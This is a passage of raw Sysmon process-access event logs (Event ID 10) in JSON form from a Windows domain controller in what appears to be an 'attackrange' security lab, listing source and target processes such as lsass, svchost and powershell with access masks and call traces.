11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","SourceProcessId":"2204","SourceThreadId":"2476","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010227B0100}\r\nSourceProcessId: 2396\r\nSourceThreadId: 2484\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010227B0100}","SourceProcessId":"2396","SourceThreadId":"2484","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 